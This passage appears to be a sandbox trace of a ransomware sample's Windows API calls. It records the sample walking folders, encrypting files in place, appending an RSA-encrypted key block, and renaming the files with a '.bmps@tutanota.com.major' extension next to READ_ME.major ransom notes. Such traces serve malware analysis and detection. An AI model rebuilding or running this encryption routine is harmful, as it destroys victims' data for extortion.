lpOverlapped=0x0) returned 1 [0170.199] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=-40953, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.199] WriteFile (in: hFile=0x7c8, lpBuffer=0x6630e0*, nNumberOfBytesToWrite=0x9ff9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6630e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9ff9, lpOverlapped=0x0) returned 1 [0170.199] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9ff9 [0170.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.200] WriteFile (in: hFile=0x7c8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.200] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.200] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.200] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="E3cqdLR/Lx+j0SeO6/BGhVIT0UKOUBZ3b6u9SaRq9zmXSOQEUD3IeVajk0mYSOQg\n8TQS1YMeXvARrktQNS5iciiWx84FlwrufT+CEJrhz1nvd/cSZvOBO5A57ly8jh9f\nyrrHvpzUuRrmch7NNLlriC4UQUA2k2LJTHdoXFdy2OcJ6m1uGNAefqG0aA7VkpKc\n+rNr52BPg9TtNb036T99fq1gsbcLUAnKu2PKIscd8VdGcGi/1uya8seQW9CK/nWd\nKiD3DYGwXjt8iHWT7wKUdt0IHvbwwqMHdO56unSZSHSlFNCm4mCYQ0XJwxodzMJU\nW/VM+lxhL3pXecRzpEPrjw==\n", pcchString=0x2e3f9a8) returned 1 [0170.200] WriteFile (in: hFile=0x7c8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.200] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.200] WriteFile (in: hFile=0x7c8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.200] CloseHandle (hObject=0x7c8) returned 1 [0170.200] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css\\oobe-desktop.css.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\css\\oobe-desktop.css.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.202] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1de576a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6539a0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] GetLastError () returned 0x0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] GetLastError () returned 0x0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] FindNextFileW (in: hFindFile=0x6539a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1de576a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] GetLastError () returned 0x0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] GetLastError () returned 0x0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] FindNextFileW (in: hFindFile=0x6539a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1395c6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="base.js", cAlternateFileName="")) returned 1 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] GetLastError () returned 0x0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] GetLastError () returned 0x0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] FindNextFileW (in: hFindFile=0x6539a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de576a4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1de576a4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1de576a4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] GetLastError () returned 0x0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] GetLastError () returned 0x0 [0170.202] SetLastError (dwErrCode=0x0) [0170.202] FindNextFileW (in: hFindFile=0x6539a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7dba, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ui.js", cAlternateFileName="")) returned 1 [0170.203] SetLastError (dwErrCode=0x0) [0170.203] GetLastError () returned 0x0 [0170.203] SetLastError (dwErrCode=0x0) [0170.203] GetLastError () returned 0x0 [0170.203] SetLastError (dwErrCode=0x0) [0170.203] FindNextFileW (in: hFindFile=0x6539a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea61ff59, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea61ff59, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2e7dba, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ui.js", cAlternateFileName="")) returned 0 [0170.203] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.203] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js", dwFileAttributes=0x80) returned 1 [0170.203] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7cc [0170.203] GetFileSizeEx (in: hFile=0x7cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3046842) returned 1 [0170.204] ReadFile (in: hFile=0x7cc, lpBuffer=0x3144020, nNumberOfBytesToRead=0x2e7dba, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3144020*, lpNumberOfBytesRead=0x2e3f9b4*=0x2e7dba, lpOverlapped=0x0) returned 1 [0170.424] SetFilePointer (in: hFile=0x7cc, lDistanceToMove=-3046842, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.424] WriteFile (in: hFile=0x7cc, lpBuffer=0x3432020*, nNumberOfBytesToWrite=0x2e7dba, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3432020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2e7dba, lpOverlapped=0x0) returned 1 [0170.450] SetFilePointer (in: hFile=0x7cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2e7dba [0170.450] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.450] WriteFile (in: hFile=0x7cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.450] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.450] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.451] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="bUIm3M4qF0PohRohjFUXMPAsoW9Ow+jFYcz86CfJMDhoIWYfifOdFWImxtQz64Hv\nVj28EM7lTd6oQ4yAKPuHxEUTC2oX3/6ezsOcTKjLSP5m7vzOMUrNGGUvwZAL8y6M\nVpi8Bn7uV2RO6WXrtGVzG88XgxntlYmF4FI+9099vbEz103pG2ypE+OKTeJvR+V6\nOx48/5Q1h1yKiw6knYOqpijCZUnpfQZAs4gvTiKuItqOraeraFjQKKCZIAsPri6L\nWZtPUmM8i/NaK6UKf1ICoexrcrFOYMPxypIT+oxsm1NudEg/6JQGDsk1vtvGIfPC\nSjB7JDq6qUufcTd2TpzeVw==\n", pcchString=0x2e3f9a8) returned 1 [0170.451] WriteFile (in: hFile=0x7cc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.451] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.451] WriteFile (in: hFile=0x7cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.451] CloseHandle (hObject=0x7cc) returned 1 [0170.451] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\ui.js.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\ui.js.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.452] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.452] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js", dwFileAttributes=0x80) returned 1 [0170.453] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7cc [0170.453] GetFileSizeEx (in: hFile=0x7cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1283526) returned 1 [0170.453] ReadFile (in: hFile=0x7cc, lpBuffer=0x673020, nNumberOfBytesToRead=0x1395c6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x673020*, lpNumberOfBytesRead=0x2e3f9b4*=0x1395c6, lpOverlapped=0x0) returned 1 [0170.601] SetFilePointer (in: hFile=0x7cc, lDistanceToMove=-1283526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.601] WriteFile (in: hFile=0x7cc, lpBuffer=0x3145020*, nNumberOfBytesToWrite=0x1395c6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3145020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1395c6, lpOverlapped=0x0) returned 1 [0170.607] SetFilePointer (in: hFile=0x7cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1395c6 [0170.607] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.607] WriteFile (in: hFile=0x7cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.614] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.614] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.614] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.614] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Rjh1G7z/wavCYc3v0r41YAssMC79DwsXngeUOfkmnVst/gyUobjV1FntvslDOr8w\nlfX2wCKwMbc6+Bbay7PQ6pDsMe/Jencn7T3T00ifFuegtFZ+Ww5g5KwmUg98e8Qh\nFLuBwDeg0ZHkqsg45qSxuDX3++O/nUw46exI4ANtoV+uNYlfbi0yxMBON7FVcMeG\nhwlkrItB8NS1C4Ra4RhSXHJobm3sD6TYgkgxrzha6/Sayu0zaaALt3EzhYoI6EYv\ngcZu6pOGQMX6NGomgId9u8Rc0ebiPW6DaRxYhPIYh53D4dF5YjIJqnQ72NnJYnnW\nzTuck5l5zpvtnZ1IQBeJrA==\n", pcchString=0x2e3f9a8) returned 1 [0170.614] WriteFile (in: hFile=0x7cc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.615] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.615] WriteFile (in: hFile=0x7cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.615] CloseHandle (hObject=0x7cc) returned 1 [0170.618] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.665] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21a4b466, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653a20 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] GetLastError () returned 0x0 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] GetLastError () returned 0x0 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] FindNextFileW (in: hFindFile=0x653a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e73631, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21a4b466, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] GetLastError () returned 0x0 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] GetLastError () returned 0x0 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] FindNextFileW (in: hFindFile=0x653a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] GetLastError () returned 0x0 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] GetLastError () returned 0x0 [0170.665] SetLastError (dwErrCode=0x0) [0170.665] FindNextFileW (in: hFindFile=0x653a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a252c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21a252c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21a4b466, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0170.665] SetLastError (dwErrCode=0x0) [0170.666] GetLastError () returned 0x0 [0170.666] SetLastError (dwErrCode=0x0) [0170.666] GetLastError () returned 0x0 [0170.666] SetLastError (dwErrCode=0x0) [0170.666] FindNextFileW (in: hFindFile=0x653a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0170.666] SetLastError (dwErrCode=0x0) [0170.666] GetLastError () returned 0x0 [0170.666] SetLastError (dwErrCode=0x0) [0170.666] GetLastError () returned 0x0 [0170.666] SetLastError (dwErrCode=0x0) [0170.666] FindNextFileW (in: hFindFile=0x653a20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eefa500, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5eefa500, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5eefa500, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0170.666] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.666] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", dwFileAttributes=0x80) returned 1 [0170.673] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d0 [0170.673] GetFileSizeEx (in: hFile=0x7d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=143360) returned 1 [0170.673] ReadFile (in: hFile=0x7d0, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0170.907] SetFilePointer (in: hFile=0x7d0, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.907] WriteFile (in: hFile=0x7d0, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0170.908] SetFilePointer (in: hFile=0x7d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23000 [0170.908] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.908] WriteFile (in: hFile=0x7d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0170.908] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0170.909] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0170.909] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="+1p6hsR0pRcnFbsS56fQd2AUqMlr/1YmDO2kAz/9K1K8MoQLVGYuXU3kr8Rk1HLf\ntngATSS+k+LPwJvi2gj6OLVfXkRooeKyjU+vlYiATGNuyoKgah0Zt3zGJe9U5ak7\neLfsT72ZFow8X1PFRzYtW/tpwv33Cp0njg7AXuuKMbDNMhc1PiaWf8ETryTe5Jof\nXWOV6KY2H70t7B29nY6LhD8TpDf5IjZsobW8q8HyJQSTeebWZoc5RaOJX//afCqv\np9CoZ6FzfW7KO9/9o8rFlparSSPZgj+2AGr8E/+eI99P0Z1PpE3A5/VFbO+o3rAf\nDcMaAH028P/KLh1hhPhKCg==\n", pcchString=0x2e3f9a8) returned 1 [0170.909] WriteFile (in: hFile=0x7d0, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0170.909] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0170.909] WriteFile (in: hFile=0x7d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0170.909] CloseHandle (hObject=0x7d0) returned 1 [0170.909] MoveFileExW 